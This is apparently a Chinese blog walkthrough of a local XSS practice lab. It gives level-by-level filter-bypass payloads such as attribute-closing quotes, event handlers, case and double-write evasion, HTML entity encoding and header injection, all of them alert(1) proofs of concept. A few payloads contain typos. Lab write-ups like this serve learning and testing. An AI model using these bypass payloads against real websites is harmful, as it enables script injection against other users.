1. 程式人生 > >XSS通關小遊戲以及我的挑戰思路分享(XSS繞過程式碼)

XSS通關小遊戲以及我的挑戰思路分享(XSS繞過程式碼)

level1

這一關是一個很簡單的測試,直接在url上改一下標籤就行了。

payload如下:

127.0.0.1/XSS/level1.php?name=<script>alert(1)</script>

level2

這一關是一個比較典型的搜尋框XSS,只需要構造一下閉合語句,將input語句<input name=keyword value="123">閉合。

這個可以有很多方法,但主要的還是閉合 "> 。

payload如下:

"><script>alert(1)<script>
"><svg/onload=alert(1)>
"><img src=1 onerror="alert(1)"
"><a href="javascript:alert(1)">123</a>

level3

這一關注入<>和',發現都被反射出來了,再看一下原始碼,第三關的兩個地方都加了htmlspecialchars函式處理,但是htmlspecialchars預設配置是不過濾單引號的。只有設定了:quotestyle,才可以。那麼就用單引號來測試

payload如下

'onclick='alert(1)
'onmouseover='alert(1)'

構造閉合語句:<input name=keyword value='".htmlspecialchars('onclick='alert(1))."'>

level4

這一關同上一關很是相似,但檢視網頁原始碼時會發現,這裡的input是雙引號的

<input name=keyword  value="try harder!">

所以輸入的語句也需要改一下,payload如下:

"onclick="alert(1)
"onmouseover='alert(1)'

構造閉合語句:<input name=keyword value="'.htmlspecialchars("onclick="alert(1)).'">

level5

這一關根據以上四關經驗,在inpunt裡面,一般都需要閉合,所以可以確定有">,再嘗試一下Xss注入的<script>或是onclick,會發現<script>被過濾了;onclick被加了一個 o_nclick(滑鼠事件不可用);<img>這個注入也不行;但是可以考慮一下連結注入,發現還是可以的,即payload如下:

"><a href="javascript:alert(1)">123</a>

構造:
<input name=keyword value=" "><a href="javascript:alert()">123</a>

level6

這一關與上一關還是一樣的測試步驟,可以確定閉合為">,但發現<a href>語句也注入不行,其他語句的注入一樣沒用,此時可以考慮一下,大小寫的形式,雙寫繞過的形式,發現大小寫的形式是可以滴。

payload如下:

"><A HREF="javaascript:alert(1)">123</a>

level7

這一關嘛,也是挺簡單的,檢視網頁原始碼,同上幾關可得,是需要閉合語句的,並且閉合型別為">;這時候你會發現不管注入什麼語句都會被過濾,嘗試單獨的大小寫,發現還是一樣無反應。這時可以考慮一下雙寫,發現是闊以的。。。

payload如下:

"><scrscriptipt>alert(1)</scrscriptipt>

level8

這一關,若是順著前幾關的思想,看網頁原始碼想通過閉合方式來注入,在後面的注入語句會發現這是有問題的,不信?

小夥子,可以試一試━┳━ ━┳━。

其實呢,他是過濾的<script>,on,<src>,<href>,‘ ' ’,’ " ‘,大小寫,雙寫。此時你想想還有什麼語句可以輸入呢?我想,我是沒有想到什麼了,所以只能從原來的語句改變一下,試想一下,他要過濾你的<script>等,那你是不是可以換一種他所識別,但又過濾不了的注入呢。。。沒錯啦,就是html的實體編碼。。。。

payload如下:

javascri&#x0070;t:alert(1)

level9

這一關,不管小編我如何注入始終都會出現bug,無奈之下,只能去檢視一下php原始碼,才發現他的過濾和第八關一樣,但很明顯他的下面友情連結還多加了一個條件:

if(false===strpos($str7,'http://')) { echo '<center><BR><a href="您的連結不合法?有沒有!">友情連結</a></center>';

意思是需要在注入語句裡要新增上http://這個條件,無奈之下的payload如下:

javascri&#x0070;t:alert(1) /*http://www.baidu.com*/

level10

首先這一關,你會發現這和前九關有著很大的區別,連個注入框都沒有,但是兄dei,你四不四忘記了XSS注入本來的注入點就是在URL編碼了嗎?不管怎麼說,還是先看一下網頁的原始碼吧。。。

首先最矚目的當然是那三個input框了:

<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">

怎麼會有三個input,三個引數,難道三個都要傳參?你猜猜到底哪個才是真的呢ε=ε=ε=(~ ̄▽ ̄)~,當然我也是猜的,在url中注入一下,吧三個引數都寫上:

http://127.0.0.1/XSS/level10.php?t_link=1&t_history=2&t_sort=3

寫完之後,發現頁面沒變化,腫麼辦(+_+)?,難道是小編錯了嗎,當然不是呢,此時我們需要看看當前網頁上隱含的迴應:

F12--->檢視器--->body---->第一個center部分----->id

開啟之後你會看到只有t_sort有迴應,所以就從這裡入手,poyload如下:

http://127.0.0.1/XSS/level10.php?t_sort="onclick="alert(1)"type="text"

level11

這一關發現還是和上一關一樣的模式,這是心裡樂呵樂呵了吧,看來和上關一樣,注入一下,發現悲劇了。。。

檢視網頁原始碼的時候,發現多了一個傳參t_ref,還對其有了賦值操作。什麼鬼(這是什麼操作)????

這時,根據小編做sql注入靶場的經驗,應該是要抓包改referer值了。。。。

payload如下:

http://127.0.0.1/XSS/level12.php?t_sort="onclick="alert(1)" type="text"

還是要先寫一下再抓包的。。。。

level12

這關步驟和上一關沒什麼區別,只是將t_ref改為t_ua,,,,,,

這不就是改一下包的user-Agent嗎。。。

payload如下:

http://127.0.0.1/XSS/level12.php?t_sort="onclick="alert(1)" type="text"

 

 level13

這一關,我想又是一個很熟悉的頁面吧,這裡的是改cookie值,綜上所述,長話短說,直接上payload:

http://127.0.0.1/XSS/level13.php?t_sort="onclick="alert(1)" type="text"

 

level14和level15

這關啊,小編看其他人寫的部落格,至今也是沒看懂(先讓我凌亂一會)

各位大佬,你們誰要是看懂了,可以回來@我一下。。。。。。。

 

level16

這關按照以往的經驗輸入,發現它把script 、/ 、空格 都轉譯了,跟前面有一題一樣,可以考慮編碼和不用script
keyword=test,顯示在頁面中。
使用<a%0dhref="javascript:onclick=alert()">點我就xss</a>
提示說不允許使用。。。
換一個

payload如下:

127.0.0.1/XSS/level16.php?keyword=<img%0dsrc=1%0donerror=alert()>

level17

這一關將arg01和arg02的引數分別寫入src的值中,並過濾了尖括號,導致不能閉合標籤。因為本身是在embed標籤中,故考慮,能不能在 arg02中,寫入事件來觸發XSS。答案是可以的,這裡採用onmousedown標籤,構造arg02引數的值為 onmousedown=alert(1),也可以採取onclick=alert(1),點選頁面嵌入的swf可觸發XSS。

不說了,直接上payload如下:

http://127.0.0.1/XSS/level17.php?arg01=a&arg02=%20onclick=alert(1)
http://127.0.0.1/XSS/level17.php?arg01=a&arg02=%20onmousedown=alert(2)

level18

這一關和上一關很類似,但是需要有一點點的轉變,經過嘗試發現,在arg02引數無論加什麼字元都無法構造空格,那轉移注意力,嘗試arg01,果然,arg01是可以構造的,參考上一關的payload,

http://127.0.0.1/XSS/level17.php?arg01=%20onclick=alert(1)&arg02=b
http://127.0.0.1/XSS/level17.php?arg01=%20onmousedown=alert(2)&arg02=b

level19和level20

這兩關,小編實在是做不出呀ε=ε=ε=(~ ̄▽ ̄)~

 

好了,綜上。。。。結束。。。。